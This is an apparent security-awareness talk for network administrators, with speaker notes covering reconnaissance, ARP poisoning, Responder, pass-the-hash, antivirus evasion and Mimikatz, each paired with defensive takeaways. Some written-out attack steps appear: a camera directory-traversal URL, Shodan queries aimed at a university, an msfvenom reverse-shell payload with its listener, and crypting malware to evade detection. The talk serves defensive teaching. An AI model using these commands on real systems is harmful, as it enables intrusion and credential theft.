
WILLIAM REYOR
Foresite

Through this presentation I aim to give you perspective on the state of the advisories that may wish to steal your information or compromise the computer systems you 
manage, I will use real examples that I have seen in my travels, and demonstrate tactics and techniques attackers may use to gain useful insights on how best they can 
compromise your networks, and how little skill this really requires.



WHO AM I?
•      Just a guy that does computer things

•      William Reyor - google.me

•      Curious about computer security

•      Mischievous mind

•      Fairly good at pen-testing

Through this presentation I aim to give you perspective on the state of the advisories that may wish to steal your information or compromise the computer systems you 
manage, I will use real examples that I have seen in my travels, and demonstrate tactics and techniques attackers may use to gain useful insights on how best they can 
compromise your networks, and how little skill this really requires.



DISCLAIMER

• Any opinions expressed are my own

• I have been known to be wrong

• One weekend!

Any opinions expressed are my own

I have been known to be wrong (I'm sure you're smarter than me, but these are my experiences and tactics that have worked for me)

I put this presentation together over this weekend please adjust your expectations accordingly



TWITTER

•@OpticOpticFiber

@OpticOpticfiber - I post things here sometimes that I find interesting (My thoughts are my own, I do not represent my employer on twitter)

 <pictures of cats>
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<This presentation includes homework, included in the bibliography are links to talks by presenters that I follow and are widely recognized in the security industry>




MY BACKGROUND
• Helpdesk

• Network admin

• Exchange Admin

• Consultant managing server 
migrations

• Enter into security

• Penetration testing and 
reporting

• External vulnerability testing

• Directed security operations 
at Xerox PARC



But... 

I spent my childhood on IRC getting myself banned from multiple ISP’s, participating in “War games”, playing with viruses, port scanners, packet generators, and learning 
about hacker culture in all its various parts. Everything new, is very old to me. <Examples of LAND, Ping of death, Back Orifice, stubs, crypts, packers>


I have however noticed that the game has changed - What used to be kids playing around with computers has been operationalized into a multitude of extremes. 
<refine / reword>


Anonymous - The banner under an operationalized, loosely connected, group of people who identify with one another. Instead of a what used to be a gang Internet 
miscreants has developed into an organization which focuses on messaging, marketing, and  tactics and techniques to carry out what I would classify are acts of internet 
terrorism. <Expand this slide>


Organized Crime - The tactics and techniques used by hackers have been refined, marketed, and packaged and sold. Services such as hackers for hire, malware, 
distributed denial of service, and the buying and selling of information such as PII, and credit card dump. <expand and give examples>


Nation States - Imagine an advisory has endless resources to attack your information systems. How do you defend against someone that has a team developing attacks 
and exploits for software that are completely unknown? Forget the idea of an army of hackers, Imagine a development team who’s sole purpose it is to design malicious 
code to silently compromise your network in ways that have never been seen before. <expand and give examples>



I ASSUME YOU…
• Have limited resources

• Run Windows networks with mixed devices

• Macs

• Printers

• Some Unix

• Probably don’t segment well



DO YOU THINK YOU ARE SECURE?

So Lets begin by asking the question…


Do you think you are secure?


Do you limit the number of domain admins you have (1 or 2)

Do you have separate privileged accounts vs every day accounts for administrators?


Do you have a more restrictive password policy for domain 

Do you set logon restrictions to prevent domain admin accounts from logging into regular

Do you disable cached credentials on servers?

Do you have service accounts which are domain admins?


Do you ever change the password on these accounts?

Do you vulnerability scan internally?


Do you report progress to your management and hold system and business owners accountable?

Vulnerability scanning is cash cheap but time expensive.

Microsoft security compliance manager


Do you check for vulnerabilities externally?

          

Do you delegate administrative access rather then giving admins and users everything?

Do you naturally believe people will do the right thing?

Have you ever had a machine you mange infected with a piece of malware?
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OPERATIONAL SECURITY



WHAT WILL AN ATTACKER DO?

• RECON

• Social Engineering

• Own/Hack/Steal

• Profit

What will an attacker do

RECON

Social engineering

Own /Hack / Steal

Profit

Hackers of any type will always take the path of least resistance



WHERE ARE YOUR WEAKNESSES?



ATTACKERS LOOK FOR:

• Your infrastructure management

• Patch

• Antivirus

• OWASP Top 10

As an attacker what would I look for?

Am I going to my most precious resource trying to find a new attack thats not been seen?

     NO!

          I’m going to profile you and make assumption about how you manage your internal IT infrastructure

          I’m going to see if you’re patching

          I’m going to see if you have AV

          I’m going to see if you are following best practices (OWASP Top 10)



Wait OWASP what? 
     OWASP is the Open Web Application Security Project!

     These folks make wonderful tools to teach and offer guidance on how to secure web applications

     You should really listen to them.

     I often use their guidance in reverse when attacking applications.




Admin
Pass

How do I pop most sites externally?

Default credentials (you would be surprised how many organizations never bother to clean up sites).


Carwash story

Weak security questions


(Whats my favorite baseball team)

Software with known security vulnerabilities, publicly pu

Brute force attacks (a surprising number of web applications don’t have standard password policies)

Tinkering
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3 EXAMPLES

3 examples of terrible operational security but what might be consider 0Day from actual experience.


     Trendnet TV-IP201 Directory Traversal / Authentication Bypass

          A friend challenged me to get into the webcam of his small business

          A search revealed no open published exploits for the make / model

          A nessus vulnerability scan revealed that the web server of the web cam was running go ahead ( I could have just grabbed the banner much more silently but I 
had permission)

               Digging deeper this version of the go ahead web server was vulnerable to a directory traversal attack by using encoded “/“ characters

               Doing 10 minutes of experimentation

               I came up with the following: http://ipaddress ofcamera/..%5C..%5C..%5C..%5C..%5C..%5C/config/tcfg_system.asp

               Took complete control of the camera.


Take away: Internet of things devices are typically poorly secured, and never updated. Do not leave them exposed to the internet without protection unless they are 
segmented.


     Password disclosure in desktop imaging software

          A community college i attended was using power quest deploy center (PQDI) where I worked as a lab assistant

               Insert a boot disk into a computer

               Restart

               It reboots into dos, authenticates to a share, and pulls down an image




Let’s play a game

What would an attacker see if he/she attempted to profile your network externally?

What tools might he or she use?


Can we find indications on the CEN network of similar vulnerabilities using only public information and without actually connecting to any resources.

Why yes we can



SHODAN
AN INTERNET WIDE PORT SCANNER THAT GRABS BANNERS,  

AND MAPS SERVICES TO EVERY SINGLE IP ADDRESS

•      Its free (sort of)

•      It makes profiling a victim trivial

•     Oh hey and it’s really free for educational institutions

What would an attacker see if he/she attempted to profile your network externally?

What tools might he or she use?


Can we find indications on the CEN network of similar vulnerabilities using only public information and without actually connecting to any resources.

Why yes we can!


What is shodan?

     Shodan is an internet wide port scanner that grabs banners, and maps services to every single IP address

     Its free (sort of)

     It makes profiling a victim trivial

    Oh hey and its free really for educational institutions

     So what kind of things can I search on?

	 •	 city: find devices in a particular city

	 •	 country: find devices in a particular country

	 •	 geo: you can pass it coordinates

	 •	 hostname: find values that match the hostname

	 •	 net: search based on an IP or /x CIDR

	 •	 os: search based on operating system

	 •	 port: find particular ports that are open

	 •	 before/after: find results within a timeframe
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So how might I use this tool?

     Visit Arin and search for "Connecticut Education Network"

A quick search of a range and I locate some interesting results


So Tridium Niagara httpd looks interesting

Lets drill in:


	 •	 A few google searches later

	 •	 http://www.tridium.com/en/support/products

	 •	 http://www.tridium.com/en/products-services/niagara4


So I know this is likely an industrial control of some kind


From the shoran results I also see port 1911 is open on this same particular host

Some quick googling and I find the manual for the tritium product line and its setup of “Fox tunneling"

http://www.hvacc.net/pdf/tridium/docs_3.5.25/EngNotes/tunneling/docEn_Tunneling.pdf
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http://www.tridium.com/en/support/products

http://www.tridium.com/en/products-services/niagara4

A few Google searches later…

So I know this is likely an industrial control of some kind


From the Shodan results I also see port 1911 is open on this same particular host

Some quick googling and I find the manual for the tritium product line and its setup of “Fox tunneling"

http://www.hvacc.net/pdf/tridium/docs_3.5.25/EngNotes/tunneling/docEn_Tunneling.pdf

http://www.tridium.com/en/support/products
http://www.tridium.com/en/products-services/niagara4


http://www.hvacc.net/pdf/tridium/docs_3.5.25/EngNotes/tunneling/docEn_Tunneling.pdf

So I know this is likely an industrial control of some kind


From the Shodan results I also see port 1911 is open on this same particular host

Some quick googling and I find the manual for the tritium product line and its setup of “Fox tunneling"

http://www.hvacc.net/pdf/tridium/docs_3.5.25/EngNotes/tunneling/docEn_Tunneling.pdf


Question: How difficult would it be to exploit this? 
     We now have an internal IP address

     We can see the device is using really outdated java

     Reading the manual we can see the devices sole purpose is to proxy traffic into the network


The take away? 
     Why is this exposed to the public internet?

          In all likelihood the vendor pushed to allow this device to be exposed to the internet. It should never have been.

     This likely happens more often then you believe.

     Empower staff to push back against vendors


http://www.hvacc.net/pdf/tridium/docs_3.5.25/EngNotes/tunneling/docEn_Tunneling.pdf


ANOTHER EXAMPLE

Take away: 
We know this is very out of date searching avaya documentation

https://support.avaya.com/downloads/download-details.action?contentId=C201311252310332060_8&productId=P0610

https://support.avaya.com/downloads/download-details.action?contentId=C20134192234575780_3&productId=P0610 (released 2013)

Why is telnet turned on?

Why is a routing switch exposed to the internet?



Lets get more specific with  searching in shodan 

Shoran search string: ASN:AS22742 product:"Apple remote desktop vnc" org:"University of X" os:"Windows XP" 

We found the ASN in ARIN 
We know ARD is typically insecure 
We know windows XP is unpatched 
We know the university is big a network, if we get on the network as an attacker we’ll have many options to stay embedded. 

Searching on version 6.2 of OpenSSH: 
http://seclists.org/fulldisclosure/2013/Nov/53

https://www.cvedetails.com/vulnerability-list/vendor_id-120/SSH.html


Reading and digging deeper we find a published exploit 
https://www.exploit-db.com/exploits/23082/


Searching for exploits for version 2.0 of CUPS 
https://www.exploit-db.com/exploits/23082/


Google Security Research released details of the attack including a proof of concept 
http://googleprojectzero.blogspot.se/2015/06/owning-internet-printing-case-study-in.html
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Exploits for version 00.3.889 of ARD 
http://lists.apple.com/archives/security-announce/2013/Oct/msg00004.html
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Take away: 
     Who is reviewing these firewall rules?

     Why are any of these ports open to the public internet?

     Why isn’t this machine patched?

     Why is windows XP running?



INTERNAL NETWORKS
FROM AN ATTACKER’S PERSPECTIVE

• We talked about external networks and profiling

• What can an attacker do once they’re on your network?

• How flat is your network?

• How structured are your ACLS?

• Do you have a way to detect and mitigate anomalies?

So lets talk about ARP Cache Poisoning

Hold up we’re going to get a little technical
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SO LET’S TALK ABOUT ARP
CACHE POISONING

From Wikipedia:

In computer networking, ARP spoofing, ARP cache 
poisoning, or ARP poison routing, is a technique by 
which an attacker sends (spoofed) Address 
Resolution Protocol (ARP) messages onto a local 
area network.

Hold up we’re going to get a little technical



So lets break this down

We have 3 people on the network. Alice, Bob, and Charlie.


Alice is having a conversation with Bob, which Carlie wishes to intercept

     Charlie simply broadcasts ARP reply packets saying the MAC address for Alice is CC:CC

     Charlie simply broadcasts an ARP reply packet saying the MAC address for Bob is CC:CC


What does this look like in practice? 
Cain and Abel:

Scan for active devices by broadcasting ARP packets
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DOES THIS LOOK DIFFICULT?

• This is a simple layer 2 attack made 
possible by very trusting protocols

• Does this look like something a 
student could use on your network?



WHAT’S THE TAKEAWAY?
• Invest time into mitigating it, detecting it, and preventing it

• This attack is extremely easy for a novice user to pull off.

• Enable AV protections which detect this attack

• McAfee EPO / HIPS - https://kc.mcafee.com/corporate/index?
page=content&amp;id=KB55321

• Symantec / SEP and SEPM - http://www.symantec.com/connect/articles/how-series-
symantec-endpoint-protection-part-2

Invest time into mitigating it, detecting it, and preventing it

This attack is extremely easy for a novice user to pull off.

Enable AV protections which detect this attack

Mcafee EPO / HIPS - https://kc.mcafee.com/corporate/index?page=content&amp;id=KB55321

Symantec / SEP and SEPM - http://www.symantec.com/connect/articles/how-series-symantec-endpoint-protection-part-2

https://kc.mcafee.com/corporate/index?page=content&amp;id=KB55321
http://www.symantec.com/connect/articles/how-series-symantec-endpoint-protection-part-2


WHAT’S THE TAKEAWAY?
• Harden your access ports on network switches

• Enable sticky ports (limits number of macs per port)

• Enable Dynamic arp inspection

• All major switch providers include features which mitigate this attack

• Juniper

• HP

• Cisco

• Test your network yourself and verify

Invest time into mitigating it, detecting it, and preventing it

This attack is extremely easy for a novice user to pull off.

Enable AV protections which detect this attack

Mcafee EPO / HIPS - https://kc.mcafee.com/corporate/index?page=content&amp;id=KB55321

Symantec / SEP and SEPM - http://www.symantec.com/connect/articles/how-series-symantec-endpoint-protection-part-2


 Harden your access ports on network switches

          enable sticky ports (limits number of macs per port)

          enable Dynamic arp inspection

          All major switch providers include features which mitigate this attack

               Juniper

               HP

               Cisco

          Test your network yourself and verify you have mitigated this attack



WHEN IN DOUBT:

• Benchmark your configurations for your firewalls, switches, servers 
and and desktops



CIS AND NSA BENCHMARKS
•  https://www.nsa.gov/ia/_files/switches/switch-guide-version1_01.pdf

When in doubt benchmark your configurations for your firewalls, switches, servers and and desktops:


          When in doubt compare against CIS and NSA benchmarks

               https://www.nsa.gov/ia/_files/switches/switch-guide-version1_01.pdf

               These are fantastic resources for proper secure configuration and should be used as part of your process of creating a baseline configuration.


https://www.nsa.gov/ia/_files/switches/switch-guide-version1_01.pdf


RESPONDER - ANOTHER SIMPLE ATTACK

• Designed as a tool for penetration 
testers

• Replies to any LLMNR, NBT-NS and 
MDNS

• Registers itself as WPAD

• Designed to capture password hashes

Responder - designed as a tool for penetration testers by Spinderlabs (a division of TrustWave)

     It replies to any  LLMNR, NBT-NS and MDNS (standard broadcast traffic)

     It also registers itself as WPAD for auto-configuration of proxy settings

     Its designed to capture password hashes (we'll talk more about this)


After the app is installed execution and use is trivial, simply run the script from a linux terminal


The script automates the collection of asset information directly into text files for collection or automation
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• Passwords HTTP

• Password hashes for computer logons

STEAL-ABLE AS A RESULT:

Responder - designed as a tool for penetration testers by Spinderlabs (a division of TrustWave)

     It replies to any  LLMNR, NBT-NS and MDNS (standard broadcast traffic)

     It also registers itself as WPAD for auto-configuration of proxy settings

     Its designed to capture password hashes (we'll talk more about this)


After the app is installed execution and use is trivial, simply run the script from a linux terminal


The script automates the collection of asset information directly into text files for collection or automation


The scope

     Any windows machine within the same broadcast domain (vlan), possibly beyond if multicasting is allowed to other vlans, and may be vulnerable to have the following 
stolen

     Passwords HTTP

     Password hashes for computer logons



TAKEAWAYS

• Disable LLMNR (Link-Local Multicast Name Resolution)

• Disable NetBIOS over TCP/IP

• Disable WPAD auto-configuration

• Create baseline configurations of desktop images based on CIS 
benchmarks

Questions? Break coming up…



QUESTIONS?





PASSWORD HASHES AND
LATERAL MOVEMENT



TYPICAL LOGIN SCENARIO

Lets talk about password hashes 

A typical login scenario: 

You have a username and password

Lets say your password is DOG


A hashing algorithm (such as LM, NTLM, NTLMv2, MD5, SHA1 etc..) convert the clear text of your password into cipher text and store this in a database

It is not possible to recover the clear text from the cipher text (at least its not supposed to be)

          

When you login

          The hashing algorithm converts your clear text password to cipher text then compares whats stored with the hash of the password you inputed

	 •	                If it matches whats stored you're allowed to login

	 •	                if it doesn't match whats stored logins fail

*For you smart guys we're not talking about salting for this talk
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*For you smart guys we're not talking about salting for this talk




WHERE ARE HASHES STORED?

Where are hashes stored? 
Domain accounts are stored on domain controllers

     NTDS.DIT


Local accounts are stored in the SAM (Security Account Manager)


However:

Local password hashes are trivial to dump using a variety of applications which are point and click simple. (like cain which we demo'd earlier)
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HOWEVER…

Where are hashes stored? 
Domain accounts are stored on domain controllers

     NTDS.DIT


Local accounts are stored in the SAM (Security Account Manager)


However:

Local password hashes are trivial to dump using a variety of applications which are point and click simple. (like cain which we demo'd earlier)




WINDOWS HASH TYPES
WEAKEST — STRONGEST

LM (used by NT, XP, Server 2003)

The password is split into 7 Character section

Each section is encrypted with DES

Then concatenated



WINDOWS HASH TYPES
WEAKEST — STRONGEST

LM (used by NT, XP, Server 2003) 
The password is split into 7 Character section

Each section is encrypted with DES

Then concatenated


This means that the largest number of characters needing to be cracked is 7 (even if a user enters a 14 character password)




WINDOWS HASH TYPES
HOW DOES NTLM WORK?

1. Convert the passcode to unicode

2. Apply the MD4 algorithm to the passcode

http://citeseer.ist.psu.edu/denboer91attack.html

http://eprint.iacr.org/2005/151

How does NTLM work?


	 1	 Convert the passcode to unicode

	 2	 Apply the MD4 algorithm to the passcode


"Implementers should be aware that NTLM does not support any recent cryptographic methods, such as AES or SHA-256. It uses cyclic redundancy check (CRC) or 
message digest algorithms (RFC1321) for integrity, and it uses RC4 for encryption.


Deriving a key from a password is as specified in RFC1320 and FIPS46-2. Therefore, applications are generally advised not to use NTLM" - https://msdn.microsoft.com/
en-us/library/cc236715.aspx


Created in 1990 This hash is 128 bits, 32 characters long. MD4 is vulnerable to many collision attacks which make the protocol inherently insecure


http://citeseer.ist.psu.edu/denboer91attack.html

http://eprint.iacr.org/2005/151


http://citeseer.ist.psu.edu/denboer91attack.html
http://eprint.iacr.org/2005/151


HOW DOES NTLM2 WORK? 
(CHALLENGE RESPONSE PROTOCOL)

How does NTLMv2 work? (A Challenge response protocol)


Whats the difference between sending a hash and challenge response?

How does this work in practice?


NLTMv2 challenges use MD5 rather then MD4


This is obviously more complex to crack, but it is crackable!




HOW DOES THIS WORK IN PRACTICE?

How does NTLMv2 work? (A Challenge response protocol)


Whats the difference between sending a hash and challenge response?

How does this work in practice?


NLTMv2 challenges use MD5 rather then MD4


This is obviously more complex to crack, but it is crackable!




THE HOUND OF HADES  
ΚΈΡΒΕΡΟΣ KERBEROS [ˈKERBEROS]),

• KDC (a domain controller typically) 

• Grants Ticket granting tickets to authorized clients 

• Sends tickets to clients  

• Fileserver 

• Accepts tickets encrypted with a ticket granting ticket generated by the KDC 

• Client 

• Asks for ticket granting ticket from the KDC using preauthorization (good for 8 hours typically) 

• Stores tickets in a secure are of memory called the kerberos tray 

• Sends ticket granting ticket to KDC and asks for a ticket to access the fileserver 

• Sends ticket to file server

The hound of Hades  Κέρβερος Kerberos [ˈkerberos]),


A quick example:

	 •	 KDC (a domain controller typically)


	 ◦	 Grants Ticket granting tickets to authorized clients

	 ◦	 Sends tickets to clients 


	 •	 Fileserver

	 ◦	 Accepts tickets encrypted with a ticket granting ticket generated by the KDC


	 •	 Client

	 ◦	 Asks for ticket granting ticket from the KDC using preauth (good for 8 hours typically)

	 ◦	 Stores tickets in a secure are of memory called the kerberos tray

	 ◦	 Sends ticket granting ticket to KDC and asks for a ticket to access the fileserver

	 ◦	 Sends ticket to file server



MORE SIMPLY:

The hound of Hades  Κέρβερος Kerberos [ˈkerberos]),


A quick example:

	 •	 KDC (a domain controller typically)


	 ◦	 Grants Ticket granting tickets to authorized clients

	 ◦	 Sends tickets to clients 


	 •	 Fileserver

	 ◦	 Accepts tickets encrypted with a ticket granting ticket generated by the KDC


	 •	 Client

	 ◦	 Asks for ticket granting ticket from the KDC using preauth (good for 8 hours typically)

	 ◦	 Stores tickets in a secure are of memory called the kerberos tray

	 ◦	 Sends ticket granting ticket to KDC and asks for a ticket to access the fileserver

	 ◦	 Sends ticket to file server



IMPORTANT TAKEAWAYS
WITH KERBEROS

The file server 
Never sees tickets or keys using to authenticate against other resources

The KDC 
Only needs to authenticate a client one time using a logon password (when the 
TGT is created)
TGT is used for authentication after

The client 
Still has to authenticate with the KDC

The file server:

     Never sees tickets or keys using to authenticate against other resources


The KDC

     Only needs to authenticate a client one time using a logon password (when the TGT is created)

     The TGT is used for authentication after


The client

     Still has to authenticate with the KDC



QUESTION: 
WHO KNOWS WHY KERBEROS

IS TIME SENSITIVE?



WHAT ABOUT PASSWORD CRACKING?

• Even though password  hashes are one-way, and 
attacker can still brute-force passwords.

What about password cracking? 
Even though password hashes are one way, an attacker can still brute force passwords:




WHAT ABOUT PASSWORD CRACKING?

• But I use character substitution, so you’ll never 
guess my password!

What about password cracking? 
Even though password hashes are one way, an attacker can still brute force passwords:

But I use character substitution so you'll never guess my password

Attacker tools are built to look for this




Credit: XKCD

https://xkcd.com/936/

https://xkcd.com/936/


Computing power has been commoditized, password hashes can often be cracked for free




Computing power has been commoditized, password hashes can often be cracked for free




HAVE YOU BEEN PWNED?

• https://haveibeenpwned.com

Have you been pwned?


* Pwn is a leetspeak slang term derived from the verb own, as meaning to appropriate or to conquer to gain ownership. The term implies domination or humiliation of a 
rival, used primarily in the Internet-based video game culture to taunt an opponent who has just been soundly defeated (e.g., "You just got pwned!").


 https://haveibeenpwned.com


https://haveibeenpwned.com


If you you've had 
your account 
compromised in 
any breach you 
should change 
your password

If you you've had your account compromised in any breach you should change your password



COMCAST BREACH

• Lets take a peek at the latest Comcast 
breach

If you you've had your account compromised in any breach you should change your password

Take away:

	 •	 Change your passwords often (90 days is probably about right)




COMCAST BREACH

• As an attacker trying to 
brute force a hash or a 
login I will use these 
public breaches to seed 
my dictionaries.

• Take away:

• Change your passwords 
often

• 90 days is probably about 
right

If you you've had your account compromised in any breach you should change your password

Take away:

	 •	 Change your passwords often (90 days is probably about right)




WHAT IS MS-CACHE?

1. >>> from passlib.hash import msdcc2

2. >>> hash = msdcc2.encrypt("Password123", 
user="test2")

3. >>> print hash

4. 'd7f91bcdec7c0df39396b4efc81123e4'

What is MS-CACHE? 

Any time you login to a domain joined computer a hash of your password is saved to that computer!


What happens when you are in front of a Windows machine, which has a domain account and you can’t access the domain (due to network outage or domain server 
shutdown)? Microsoft solved this problem by saving the hash(es) of the last user(s) that logged into the local machine. These hashes are stored in the Windows registry, 
by default the last 10 hashes.


The hashing algorithm is well understood MD4( MD4(Unicode(password)) + Unicode(tolower(username)) ): 


Tools exist to dump and crack these hashes

*Assumes caching is enabled (it almost always is)



WHAT IS A RAINBOW TABLE?

Definition:

A rainbow table is a pre-computed table for reversing 
cryptographic hash functions, usually for cracking password 
hashes. Tables are usually used in recovering a plaintext password 
up to a certain length consisting of a limited set of characters.

Whats a rainbow table? 

Definition:

A rainbow table is a precomputed table for reversing cryptographic hash functions, usually for cracking password hashes. Tables are usually used in recovering a 
plaintext password up to a certain length consisting of a limited set of characters.


Instead of computing a hash, and comparing it to recover the plaintext, a database of every combination of hash and plaintext is already computed.


Want to recover the plaintext of a hash? Just do a lookup


Take away:

     Use implementations which salt password hashes increases the time required and the complexity of

     A salt is a bit of random data



TAKEAWAY

Whats a rainbow table? 

Definition:

A rainbow table is a precomputed table for reversing cryptographic hash functions, usually for cracking password hashes. Tables are usually used in recovering a 
plaintext password up to a certain length consisting of a limited set of characters.


Instead of computing a hash, and comparing it to recover the plaintext, a database of every combination of hash and plaintext is already computed.


Want to recover the plaintext of a hash? Just do a lookup


Take away:

     Use implementations which salt password hashes increases the time required and the complexity of

     A salt is a bit of random data



WHAT IF I TOLD YOU EVERYTHING I JUST 
SHOWED YOU IS 10 YEARS 

OLD OR OLDER?



PASS-THE-HASH ATTACKS

Does every machine have the same the same local admin password hash?




PASS-THE-HASH ATTACKS
• Reality - most admins have been infected with malware at some point

• Hashes dumped

• But the admin has a 70 character password and it's not feasible to 
crack it

• Now what?

• Remember: Once a user logs in, his credentials are cached locally and 
reused by the OS on the user's behalf

• Remember our responder demo? Oh right...

Does every machine have the same the same local admin password hash?


Reality - most admins have been infected with malware at some point

Hashes dumped

But the admin has a 70 character password and it's not feasible to crack it

Now what?

Remember: Once a user logs in, his credentials are cached locally and reused by the OS on the user's behalf

Remember our responder demo? Oh right...



THINGS THAT USE NTLM

• Exchange

• File and print servers

• SQL Server

• Appliances not domain joined



• As an attacker how can 
I use this to my 
advantage once I have a 
hash?

• Metasploit

• Psexec module



ANOTHER EXAMPLE…

Here's a different example using share point

This means that password hashes don't have to be cracked, we can just present them to services for authentication!




By default Firefox allow the user to specify a password hash.


Limitations:

     Domain cached credentails don't work in this attack (you have to have the LM or NTLM)




TOP WAYS TO PREVENT PASSWORD 
HASH ATTACKS

• Create local account passwords that 
are different on each system

• Deny local accounts from network 
logons in (new in windows 8.1) 

• Restrict the number of domain admins

• Delegate

If you you've had your account compromised in any breach you should change your password

Take away:

	 •	 Change your passwords often (90 days is probably about right)




1. Use separate domain accounts 

2. Deny server admins from loging into workstation 

3. Deny workstation admins from logging into servers 

4. Deny domain admins from logging into any system except a domain controller. 

5. Enforce strong password controls 

6. Enforce stronger password controls on privileged accounts (Fine grained password policy objects) 

1. Disable cached credentials (for all servers) 

2. Lock out admin accounts faster 

3. Enforce  

4. Disable NTLM and LM challenge response where ever possible 

1. NTLMv2 and Kerberos 

https://www.nsa.gov/ia/_files/app/Reducing_the_Effectiveness_of_Pass-the-Hash.pdf

https://www.nsa.gov/ia/_files/app/Reducing_the_Effectiveness_of_Pass-the-Hash.pdf


QUESTIONS?





MALWARE - ANTIVIRUS IS DEAD



WHAT IS MALWARE?
Malware, short for malicious software, is any software used to disrupt computer 

operations, gather sensitive information, or gain access to private computer systems

https://en.wikipedia.org/wiki/Malware

What is Malware?


Malware, short for malicious software, is any software used to disrupt computer operations, gather sensitive information, or gain access to private computer systems


https://en.wikipedia.org/wiki/Malware


https://en.wikipedia.org/wiki/Malware


WARNING
WARNING
WARNING 
WARNING

• Do not execute malware on a 
computer you don't own.

• Executing malware even on a computer 
you do own could put you in legal peril.

• Don't try this at home, at work, or 
anywhere else.





BANKING TROJAN — AUGUST, 2015

Lets look at an actual malware sample (From August 8.19.2015)

* Researchers and admins routinely post samples for research purposes.



IS THIS REAL?

Yes, very real! executing in our VM sandbox we can see the malware is active




BUT WE’RE GOOD, RIGHT?

• * Latest Kaspersky AV, latest DAT file.

Yes, very real! executing in our VM sandbox we can see the malware is active




BUT WHAT IF WE ENCRYPT
THE MALWARE?

• What’s a FUD?

Yes, very real! executing in our VM sandbox we can see the malware is active




- — Brian Kreb,
-  Investigative Journalist

"Crypting services are the primary reason that if you or someone within 
your organization is unfortunate enough to have opened a malware-laced 

attachment in an email in the first 12-24 hours after the bad guys blast it out 
in a spam run, there is an excellent chance that whatever antivirus tool you or 

your company relies upon will not detect this specimen as malicious."



ENTER PESCRAMBLER

• PEScrambler is a tool to obfuscate win32 binaries automatically.

• It can relocate portions of code and protect them with anti-
disassembly code. It also defeats static program flow analysis by re-
routing all function calls through a central dispatcher function created 
by Nick Harbour in 2006.

So lets use an open source example for demonstration:


Enter PEscrambler


PEScrambler is a tool to obfuscate win32 binaries automatically. It can relocate portions of code and protect them with anti-disassembly code. It also defeats static 
program flow analysis by re-routing all function calls through a central dispatcher function created by Nick Harbour in 2006




HOW DIFFICULT IS IT TO EXECUTE?



HOW UNDETECTABLE ARE THE RESULTS?



DOES THIS THING EVEN WORK?

And executing the same malware in our sandbox again...

same behavior nothing has changed...



ORIGINAL SAMPLE IN VIRUSTOTAL

So lets check our sample against  diffrent antivirus engines


So again - Original Sample:




AFTER CRYPTING

And after applying PEscrambler




ORIGINAL SAMPLE

And after applying PEscrambler




AFTER CRYPTING

Same Analysis for the PEscrambled Sample




TAKEAWAYS
• PEscrambler has been around for 10 years!

• It still is mostly effective (Kaspersky scanned clean, AV didn't pick up 
until after I ran the sample through virustotal)

• There are many other open source solutions

• AV that did detect simply detected this as "packed" / Crypter which 
could easily be a false positive



COMMERCIAL SOLUTIONS

So What if I wanted a commercial version of this


How would I buy malware?

I'd probably start at google!





There is an entire market place of malware authors that specize in making malware undetectable.

(Shameless darkside of the web plug)



SO WHAT?
WE GET MALWARE ALL THE TIME

• We clean it

• We re-image (sometimes, when it's convenient, and the end user 
won't be too inconvenienced)

• It's all better





WHAT’S MIMIKATZ?

• mimikatz is a tool  made by Benjamin Delpy to learn C and make 
somes experiments with Windows security.

• It's now well known to extract plaintexts passwords, hash, PIN code 
and kerberos tickets from memory. mimikatz can also perform pass-
the-hash, pass-the-ticket or build Golden tickets.



SO WE’LL WORK IN METASPLOIT
Create payload for a package 

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.218 lport=4444 -f exe -
o /tmp/my_payload.exe 

No platform was selected, choosing Msf::Module::Platform::Windows from the payload 

No Arch selected, selecting Arch: x86 from the payload 

No encoder or badchars specified, outputting raw payload 

Payload size: 333 bytes 

Saved as: /tmp/my_payload.exe



NOW WE LISTEN FOR THE 
CONNECTION

start a handler (something that accepts connections from our payload) 

use exploit/multi/handler 

set payload windows/shell/reverse_tcp 

set LHOST 192.168.0.218 

msf exploit(handler) > exploit 



AND IT WORKED…



LET’S GET MIMIKATZ RUNNING



LET’S GET SOME HASHES



OR WE CAN JUST DISPLAY THE 
PASSWORD



Lets add a universal AD skeleton key to always login



AD SKELETON KEY

Lets add a universal AD skeleton key to always login

Think kon-boot for an active directory domain




PRETTY DIFFICULT, RIGHT?

If I type mimikatz for any password now, that login will be accepted.




AD DC SYNC

Or use directory sync to sync any object out of active directory

And of course passwords are easily recoverable via LM 




RECOVERABLE VIA LM

Or use directory sync to sync any object out of active directory

And of course passwords are easily recoverable via LM 




QUESTIONS?
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